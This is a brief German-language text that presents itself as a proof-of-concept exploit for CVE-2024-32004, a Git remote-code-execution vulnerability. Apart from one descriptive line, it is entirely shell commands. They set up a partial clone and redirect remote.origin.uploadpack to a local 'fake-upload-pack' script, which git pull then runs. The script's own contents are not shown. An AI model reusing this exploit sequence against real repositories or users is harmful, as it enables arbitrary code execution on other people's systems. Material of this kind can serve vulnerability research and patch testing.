
Proof-of-Concept-Exploit für CVE-2024-32004, eine Git-Schwachstelle zur Remote-Codeausführung, die die Ausnutzung über einen bösartigen upload-pack-Filter demonstriert.
# Erstelle ein tmp-Repository und setze uploadpack.allowfilter auf true
git init tmp
git -C tmp config uploadpack.allowfilter 1
# Klone evil vom tmp-Repository
git clone --filter=blob:none --no-local --no-checkout tmp evil
rm -rf tmp
# Konfiguriere das Remote-Filter-Skript
git -C evil config remote.origin.uploadpack "./fake-upload-pack"
# Führe das bösartige Skript aus
git pull